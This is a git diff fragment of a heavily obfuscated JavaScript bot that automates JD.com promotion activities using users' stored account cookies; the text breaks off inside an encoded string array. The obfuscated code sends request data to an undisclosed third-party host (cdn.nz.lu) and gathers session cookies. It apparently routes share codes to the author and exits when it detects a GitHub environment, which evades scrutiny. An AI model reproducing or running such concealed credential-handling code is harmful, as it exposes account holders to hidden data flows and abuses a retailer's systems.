_0x2c9bb8[_0x2716('‮291')](_0x28310f,_0x351c82);},'nTPmy':_0x2c9bb8[_0x2716('‫292')],'gKren':_0x2c9bb8[_0x2716('‫293')],'YXlrE':function(_0x228b34){return _0x2c9bb8[_0x2716('‫28b')](_0x228b34);}};$[_0x2716('‫138')](opt,(_0x483822,_0x16744d,_0x4a2ba4)=>{var _0x200b7f={'JktLa':function(_0x42b975,_0x171868){return _0x3a468c[_0x2716('‮294')](_0x42b975,_0x171868);},'GGOoq':_0x3a468c[_0x2716('‫295')]};try{if(_0x483822){console[_0x2716('‮1c')](_0x483822);}else{res=JSON[_0x2716('‫f8')](_0x4a2ba4);if(res[_0x2716('‫fd')]){if(_0x3a468c[_0x2716('‮296')](_0x3a468c[_0x2716('‮297')],_0x3a468c[_0x2716('‮298')])){_0x3a468c[_0x2716('‫299')](_0x135074);}else{console[_0x2716('‮1c')](res);$[_0x2716('‮fe')]=res[_0x2716('‫ff')];}}}}catch(_0x922b4c){console[_0x2716('‮1c')](_0x922b4c);}finally{if(_0x3a468c[_0x2716('‫29a')](_0x3a468c[_0x2716('‮29b')],_0x3a468c[_0x2716('‫29c')])){_0x3a468c[_0x2716('‫29d')](_0x135074);}else{if(_0x4a2ba4){_0x4a2ba4=JSON[_0x2716('‫f8')](_0x4a2ba4);if(_0x200b7f[_0x2716('‮29e')](_0x4a2ba4[_0x2716('‫1fe')],'0')){$[_0x2716('‫5e')]=_0x4a2ba4[_0x2716('‫5e')];}}else{$[_0x2716('‮1c')](_0x200b7f[_0x2716('‫29f')]);}}}});});}function geth5st(_0x6dbb9a,_0x18d44a){var _0x5d8f32={'lGDYY':_0x2716('‫165'),'YSVpC':_0x2716('‫0'),'DafVV':_0x2716('‫124'),'bEuvd':function(_0x41c779,_0x55b5b9){return _0x41c779!==_0x55b5b9;},'XWJOQ':_0x2716('‫2a0'),'cJCBi':function(_0x5a249f,_0x564d2d){return _0x5a249f===_0x564d2d;},'BUBme':_0x2716('‫2a1'),'mwstq':function(_0x27b790,_0x4a737e){return _0x27b790===_0x4a737e;},'HsLpF':_0x2716('‮2a2'),'uxtXs':function(_0x46b025,_0x1ca5ba){return _0x46b025(_0x1ca5ba);},'MiKvw':function(_0x54469a,_0x24e339){return _0x54469a===_0x24e339;},'jWmfR':_0x2716('‮2a3'),'KKsWZ':_0x2716('‫2a4'),'LYtsm':_0x2716('‮2a5'),'doxlR':_0x2716('‫2a6'),'PvUuv':_0x2716('‫2a7'),'ygGKZ':function(_0x541b4b,_0x306df0){return _0x541b4b*_0x306df0;},'BAkHC':_0x2716('‮13f'),'bHzHe':function(_0x583e03,_0x4674ea){return _0x583e03*_0x4674ea;}};return new Promise(async _0x5610b3=>{var _0x574d7c={'TAwBt':_0x5d8f32[_0x2716('‫2a8')],'uwAnl':_0x5d8f32[_0x2716('‫2a9')],'NMNgu':_0x5d8f32[_0x2716('‫2aa')],'EkjIg':function(_0x17b788,_0x427b56){return _0x5d8f32[_0x2716('‮2ab')](_0x17b788,_0x427b56);},'LgNvS':_0x5d8f32[_0x2716('‫2ac')],'fBcHx':function(_0x21e1ea,_0x516069){return _0x5d8f32[_0x2716('‮2ad')](_0x21e1ea,_0x516069);},'zgdPW':_0x5d8f32[_0x2716('‮2ae')],'EamPK':function(_0x19fbf9,_0x5878a7){return _0x5d8f32[_0x2716('‮2af')](_0x19fbf9,_0x5878a7);},'tnwli':_0x5d8f32[_0x2716('‮2b0')],'KFnnR':function(_0x4b1018,_0x11ee10){return _0x5d8f32[_0x2716('‮2b1')](_0x4b1018,_0x11ee10);}};if(_0x5d8f32[_0x2716('‫2b2')](_0x5d8f32[_0x2716('‮2b3')],_0x5d8f32[_0x2716('‮2b3')])){let _0x491782={'appId':_0x5d8f32[_0x2716('‮2b4')],'body':{'appid':_0x5d8f32[_0x2716('‫2b5')],'functionId':_0x6dbb9a,'body':JSON[_0x2716('‮11c')](_0x18d44a),'clientVersion':_0x5d8f32[_0x2716('‮2b6')],'client':'H5','activityId':$[_0x2716('‫34')]},'callbackAll':!![]};let _0x2effab='';let _0x499ac0=[_0x5d8f32[_0x2716('‮2b7')]];if(process[_0x2716('‮116')][_0x2716('‫117')]){_0x2effab=process[_0x2716('‮116')][_0x2716('‫117')];}else{_0x2effab=_0x499ac0[Math[_0x2716('‮225')](_0x5d8f32[_0x2716('‮2b8')](Math[_0x2716('‫19e')](),_0x499ac0[_0x2716('‫13')]))];}let _0x16198f={'url':_0x2716('‫2b9'),'body':JSON[_0x2716('‮11c')](_0x491782),'headers':{'Host':_0x2effab,'Content-Type':_0x5d8f32[_0x2716('‫2ba')]},'timeout':_0x5d8f32[_0x2716('‫2bb')](0x1e,0x3e8)};$[_0x2716('‮ed')](_0x16198f,async(_0x215e10,_0xeece47,_0x491782)=>{var _0x232169={'jhjSK':_0x574d7c[_0x2716('‮2bc')],'Shsvs':_0x574d7c[_0x2716('‮2bd')],'zlHcH':_0x574d7c[_0x2716('‫2be')]};if(_0x574d7c[_0x2716('‫2bf')](_0x574d7c[_0x2716('‮2c0')],_0x574d7c[_0x2716('‮2c0')])){$[_0x2716('‫45')](e,_0xeece47);_0x491782=null;}else{try{if(_0x215e10){_0x491782=await geth5st[_0x2716('‫2c1')](this,arguments);}else{}}catch(_0x52ba54){if(_0x574d7c[_0x2716('‫2c2')](_0x574d7c[_0x2716('‫2c3')],_0x574d7c[_0x2716('‫2c3')])){$[_0x2716('‫45')](_0x52ba54,_0xeece47);}else{$[_0x2716('‮1c')](_0x232169[_0x2716('‮2c4')]);}}finally{if(_0x574d7c[_0x2716('‫2c5')](_0x574d7c[_0x2716('‮2c6')],_0x574d7c[_0x2716('‮2c6')])){_0x574d7c[_0x2716('‮2c7')](_0x5610b3,_0x491782);}else{for(let _0x1ec77e of _0xeece47[_0x232169[_0x2716('‫2c8')]][_0x232169[_0x2716('‫2c9')]]){cookie=''+cookie+_0x1ec77e[_0x2716('‫24')](';')[0x0]+';';}}}}});}else{if(data)data=JSON[_0x2716('‫f8')](data);$[_0x2716('‫d')]=!![];}});}async function getToken(){var _0x423a9f={'cHNET':function(_0x10941b,_0x3fdd8c){return _0x10941b===_0x3fdd8c;},'HbHqJ':_0x2716('‫2ca'),'LiLkt':function(_0x50dda7,_0x45c63a){return _0x50dda7===_0x45c63a;},'eleJH':_0x2716('‫165'),'urGrz':function(_0x333eeb){return _0x333eeb();},'vaHRl':function(_0x355e73,_0x37728b,_0x4f57e6){return _0x355e73(_0x37728b,_0x4f57e6);},'vhcul':_0x2716('‮2cb'),'yjfov':_0x2716('‮144'),'dyvSh':_0x2716('‫207'),'qsMDf':_0x2716('‫143'),'zdteY':_0x2716('‫208'),'rUuHf':_0x2716('‮145'),'dvjad':_0x2716('‫209'),'WDovz':_0x2716('‫20a'),'GTbqr':_0x2716('‮142')};let _0x3d262d=await _0x423a9f[_0x2716('‮2cc')](getSign,_0x423a9f[_0x2716('‫2cd')],{'id':'','url':_0x423a9f[_0x2716('‮2ce')]});let _0x5e3ead={'url':_0x2716('‫20b'),'headers':{'Host':_0x423a9f[_0x2716('‫2cf')],'Content-Type':_0x423a9f[_0x2716('‫2d0')],'Accept':_0x423a9f[_0x2716('‫2d1')],'Connection':_0x423a9f[_0x2716('‮2d2')],'Cookie':cookie,'User-Agent':_0x423a9f[_0x2716('‫2d3')],'Accept-Language':_0x423a9f[_0x2716('‫2d4')],'Accept-Encoding':_0x423a9f[_0x2716('‫2d5')]},'body':_0x3d262d};return new Promise(_0x14a71a=>{var _0x406250={'UiqFs':function(_0x55ab55,_0x3c004c){return _0x423a9f[_0x2716('‮2d6')](_0x55ab55,_0x3c004c);},'jozny':_0x423a9f[_0x2716('‫2d7')],'RlOUk':function(_0x54a8c7,_0x82bae0){return _0x423a9f[_0x2716('‮2d8')](_0x54a8c7,_0x82bae0);},'PeweT':_0x423a9f[_0x2716('‮2d9')],'HnEol':function(_0x54119f){return _0x423a9f[_0x2716('‮2da')](_0x54119f);}};$[_0x2716('‮ed')](_0x5e3ead,(_0x3f547f,_0x2c2943,_0x3089a8)=>{try{if(_0x3f547f){if(_0x406250[_0x2716('‮2db')](_0x406250[_0x2716('‮2dc')],_0x406250[_0x2716('‮2dc')])){$[_0x2716('‮1c')](_0x3f547f);}else{console[_0x2716('‮1c')](_0x3f547f);}}else{if(_0x3089a8){_0x3089a8=JSON[_0x2716('‫f8')](_0x3089a8);if(_0x406250[_0x2716('‮2dd')](_0x3089a8[_0x2716('‫1fe')],'0')){$[_0x2716('‫5e')]=_0x3089a8[_0x2716('‫5e')];}}else{$[_0x2716('‮1c')](_0x406250[_0x2716('‫2de')]);}}}catch(_0x57c541){$[_0x2716('‮1c')](_0x57c541);}finally{_0x406250[_0x2716('‫2df')](_0x14a71a);}});});}function getSign(_0x25958b,_0xef200d){var _0x3c1ddd={'Pfmgz':function(_0x31bcbf,_0x7b484f){return _0x31bcbf===_0x7b484f;},'pOsyn':_0x2716('‮2e0'),'vsGDI':_0x2716('‫2e1'),'glejQ':function(_0x3782e3,_0x40a133){return _0x3782e3!==_0x40a133;},'zRWQv':_0x2716('‮2e2'),'CHLFn':function(_0x18398c,_0x797b09){return _0x18398c(_0x797b09);},'FOogz':function(_0x1a7ab5){return _0x1a7ab5();},'QNGJj':function(_0xb5cc23,_0x2d9094){return _0xb5cc23===_0x2d9094;},'BlYBK':_0x2716('‫2e3'),'scIMy':_0x2716('‫2a7'),'niSJG':_0x2716('‮2e4'),'cmgBT':function(_0x2a0d7f,_0x50208a){return _0x2a0d7f*_0x50208a;},'ggqRY':_0x2716('‫136')};return new Promise(async _0x27e87b=>{var _0x1204e0={'zBCOa':function(_0x396c7e){return _0x3c1ddd[_0x2716('‫2e5')](_0x396c7e);}};if(_0x3c1ddd[_0x2716('‫2e6')](_0x3c1ddd[_0x2716('‫2e7')],_0x3c1ddd[_0x2716('‫2e7')])){let _0x450ea7={'functionId':_0x25958b,'body':JSON[_0x2716('‮11c')](_0xef200d),'activityId':$[_0x2716('‫34')]};let _0x2fe1f7='';let _0x41668f=[_0x3c1ddd[_0x2716('‮2e8')]];if(process[_0x2716('‮116')][_0x2716('‫117')]){if(_0x3c1ddd[_0x2716('‫2e6')](_0x3c1ddd[_0x2716('‮2e9')],_0x3c1ddd[_0x2716('‮2e9')])){_0x2fe1f7=process[_0x2716('‮116')][_0x2716('‫117')];}else{_0x1204e0[_0x2716('‮2ea')](_0x27e87b);}}else{_0x2fe1f7=_0x41668f[Math[_0x2716('‮225')](_0x3c1ddd[_0x2716('‮2eb')](Math[_0x2716('‫19e')](),_0x41668f[_0x2716('‫13')]))];}let _0x11199d={'url':_0x2716('‮2ec'),'body':JSON[_0x2716('‮11c')](_0x450ea7),'headers':{'Host':_0x2fe1f7,'User-Agent':_0x3c1ddd[_0x2716('‫2ed')]},'timeout':_0x3c1ddd[_0x2716('‮2eb')](0x1e,0x3e8)};$[_0x2716('‮ed')](_0x11199d,(_0x5cd8a7,_0xeb8ed,_0x450ea7)=>{try{if(_0x3c1ddd[_0x2716('‮2ee')](_0x3c1ddd[_0x2716('‮2ef')],_0x3c1ddd[_0x2716('‫2f0')])){$[_0x2716('‮1c')]('','❌\x20'+$[_0x2716('‮f')]+_0x2716('‮4d')+e+'!','');}else{if(_0x5cd8a7){console[_0x2716('‮1c')](''+JSON[_0x2716('‮11c')](_0x5cd8a7));console[_0x2716('‮1c')]($[_0x2716('‮f')]+_0x2716('‮195'));}else{}}}catch(_0x3e666c){$[_0x2716('‫45')](_0x3e666c,_0xeb8ed);}finally{if(_0x3c1ddd[_0x2716('‮2f1')](_0x3c1ddd[_0x2716('‮2f2')],_0x3c1ddd[_0x2716('‮2f2')])){if(res[_0x2716('‫f9')][_0x2716('‮21d')]){$[_0x2716('‮5f')]=res[_0x2716('‫f9')][_0x2716('‮21d')][0x0][_0x2716('‮21e')][_0x2716('‫34')];}}else{_0x3c1ddd[_0x2716('‮2f3')](_0x27e87b,_0x450ea7);}}});}else{$[_0x2716('‮1c')](err);}});};_0xodK='jsjiami.com.v6'; -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lzdz1_customizedd.js b/jd_lzdz1_customizedd.js deleted file mode 100644 index 23cc7029e..000000000 --- a/jd_lzdz1_customizedd.js +++ /dev/null @@ -1,25 +0,0 @@ -/* -玩转818超值购物攻略 -*/ -const $ = new Env("玩转818超值购物攻略"); -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -const notify = $.isNode() ? require("./sendNotify") : ""; -let cookiesArr = [], cookie = "", message = ""; -let ownCode = null; -let authorCodeList = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]); - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; -} else { - let cookiesData = $.getdata("CookiesJD") || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map((item) => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata("CookieJD2"), $.getdata("CookieJD")]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter((item) => !!item); -} -var _0xodp='jsjiami.com.v6',_0xodp_=['‮_0xodp'],_0x3e50=[_0xodp,'Y1RUano=','YmhFSmg=','T2NWS0c=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','b3V1QWs=','Wm9qTVc=','V1hYWmQ=','VExTbXA=','Wmhtcmo=','QVVTbHc=','bVNrbkk=','U2V0LUNvb2tpZQ==','Y3ZxZGQ=','U0haZ0E=','eENGak4=','QXRnRUg=','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','SHFhVFo=','aGpHT2s=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9jdXN0b21lci9nZXRNeVBpbmc=','aEdYRGY=','YWNXQk8=','VVZtdXQ=','d0ZmTFM=','cktFR04=','RlZ5elk=','U0VQTHI=','ekp0c24=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUCZyaXNrVHlwZT0x','RUd2b04=','VERWUVU=','RVRYbUI=','WldpdmE=','bWxvZUs=','cWRYem0=','ZE16S20=','VUFsVFk=','Y0pBVUY=','QVRMYWs=','WmdEU0Y=','U3ZPeWc=','dHFraWE=','TnJrTmQ=','SmxOZko=','VnJJakM=','YXpwa2I=','TFR4Y3A=','VXlSak0=','YVdaRkw=','UE9Od2E=','RklURnE=','Z3ZhamQ=','cmlNVVI=','dm5FcmY=','cmVwbGFjZQ==','b0NGUmw=','Z21JeWw=','cmFuZG9t','T1hOY0M=','Z3VIU3g=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','bGtsTnc=','THNLTms=','5L2g5aW977ya','bmlja25hbWU=','O0FVVEhfQ19VU0VSPQ==','ZXJyb3JNZXNzYWdl','a21WV0k=','QXdFZ2U=','QVR3blE=','b0tXZnU=','SnRGZnU=','R0RrQnU=','SUNVelY=','UGZPeHQ=','Y3RRckE=','RFF0RWM=','ZlNHaEM=','YmVVWE8=','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','VlB6bXk=','UlhmWU8=','SkRfVVNFUl9BR0VOVA==','UGtQY0Q=','bXVlRGI=','VVNFUl9BR0VOVA==','Z2V0ZGF0YQ==','V0ZrYkY=','ZGF2THA=','Qnl3ZlI=','Zkp3Tm8=','SkdLb2k=','bElIQnY=','ZUVhSFE=','dk50eWw=','dWZjc3Q=','WWhlZUg=','T254THE=','UEFqcFo=','a0VjdGw=','TWxKZkU=','a0dxRWE=','TE1OeUg=','VERLZWY=','Y29va2ll','d1RmR2w=','S0hTb1A=','Zmxvb3I=','TnhLbEs=','c21vdUk=','Tk5Udko=','YkJaY3Q=','dm90ekQ=','ZHhJVFI=','RGZXam0=','bUdPb2E=','ek91Z0c=','R1Foemg=','anVaZEo=','VEV2dG0=','MTAwMQ==','dXNlckluZm8=','VUphT3Q=','aFRtZVI=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','Ki8q','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','T3dCTnI=','dFZsbGY=','Q1lVTW0=','YmVGaG4=','U0tuaHE=','UG53cW4=','VklnRno=','bm1MT2o=','VEVqTXA=','VWdEVkk=','UnFXaEg=','WHV4RHQ=','RllFaWY=','YmFzZUluZm8=','aFhiQlg=','UVFOQXo=','YkZCVlo=','YWhZWG4=','T1BBY1Y=','TU50TFA=','cmV0Y29kZQ==','TlpHeGo=','aGFzT3duUHJvcGVydHk=','RExXeUc=','SHhYaWg=','RHBVdGY=','VFV1eWs=','cWNOd2Q=','Qnp1amQ=','bXZnUWw=','cnVpcHM=','YXBpLm0uamQuY29t','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0=','eVhBTGU=','JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','ZXFycXE=','Y3hseGw=','R0huQUI=','b0t2WEc=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','fSZjaGFubmVsPTgwMSZyZXR1cm5Vcmw9','amppakk=','ZU5tRnE=','aVJRVWw=','RlJWS3U=','TmdmY0g=','dlVKQWo=','Q3lRWGI=','UlB3bnE=','cEltbVo=','V015cHA=','cVpZbWQ=','QURRblg=','T092b20=','c3VjY2Vzcw==','eE5Nd0s=','bUN0bE0=','SkVMUEI=','UWtYV0Q=','Y0p3RkU=','T3NnR3U=','cGdyRno=','SFhvdHo=','WnJrRkw=','a0RBbk0=','YmluZFdpdGhWZW5kZXI=','YUdnY1I=','UHhCQ2Q=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj8=','Z2lhaGk=','Um5PSUE=','TEdTYmM=','WElqams=','fSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9','ZlFkaEQ=','c0p3cEI=','alVMQnY=','RE1yRmc=','RnFaZ3M=','bHhOVnQ=','em9ET1E=','dU5qUnI=','dVJrVUw=','SEZmWXQ=','S2txcEI=','WkNwQ3I=','VU1MY2s=','d2RKanQ=','d0JsRkg=','c054Slg=','OGFkZmI=','amRfc2hvcF9tZW1iZXI=','OS4yLjA=','amRzaWduLmNm','Q2dBUUs=','QUZXeVo=','RmRvTXg=','RlFWem4=','QkdMemk=','Y1RCVk8=','aHR0cHM6Ly9jZG4ubnoubHUvZ2V0aDVzdA==','anB1TUk=','R0Rkb2I=','YXBwbHk=','TGlxUGk=','Q1RWUkM=','WWVyVm8=','eXd5clE=','YXVCWWo=','UEVPV3o=','aXN2T2JmdXNjYXRvcg==','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','Tk9NbVQ=','ZGZVTGc=','Z2xwQkU=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','aHZqTVQ=','VHhxVU0=','WUNMRXE=','U3RaQ1M=','Vld2WXk=','dWxBSGo=','QUphdGo=','ZVBTYVY=','b3ZrTlc=','V2JVb1c=','dVBzU0M=','eXNxa2o=','S3ZhSmQ=','ZUVzU08=','cUdHUk4=','cGJtU1A=','Q25SZVM=','Z1NSYkw=','ZGtBYW4=','eXVxRmg=','TWlKaUg=','Rk9yVVM=','THV4emM=','dWFoSWE=','aHR0cHM6Ly9jZG4ubnoubHUvZGRv','dGJZWU8=','QURWQWg=','WkhOZnY=','YnRWSlk=','T3hzYWE=','V1VnS2U=','5pyJ54K55YS/5pS26I63','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiA